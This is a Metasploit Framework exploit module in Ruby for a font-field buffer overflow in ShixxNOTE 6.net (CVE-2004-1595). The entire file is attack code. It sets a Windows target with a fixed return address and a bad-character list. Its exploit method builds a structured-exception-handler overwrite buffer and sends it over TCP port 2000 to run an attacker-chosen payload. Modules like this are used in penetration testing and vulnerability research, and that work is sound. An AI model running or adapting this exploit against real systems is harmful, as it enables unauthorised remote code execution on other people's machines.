##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ShixxNOTE 6.net Font Field Overflow',
      'Description'    => %q{
        This module exploits a buffer overflow in ShixxNOTE 6.net.
        The vulnerability is caused due to boundary errors in the
        handling of font fields.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => 
        [ 
          ['CVE', '2004-1595'],
          ['OSVDB', '10721'],
          ['BID', '11409'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 650,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      
      'Targets'        =>
        [
          [ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ], 
        ],

      'Privileged'     => false,

      'DisclosureDate' => 'October 4 2004',

      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(2000)
        ], self.class)

  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit  =  rand_text_alpha_upper(8, payload_badchars)
    sploit  += "~~"
    sploit  += rand_text_alpha_upper(118, payload_badchars)
    
    seh     =  generate_seh_payload(target.ret)
    
    sploit[112, seh.length] = seh
    sploit  += rand_text_alpha_upper(200, payload_badchars)
    sploit  += "~" * 10

    sock.put(sploit)
    
    handler
    disconnect
  end

end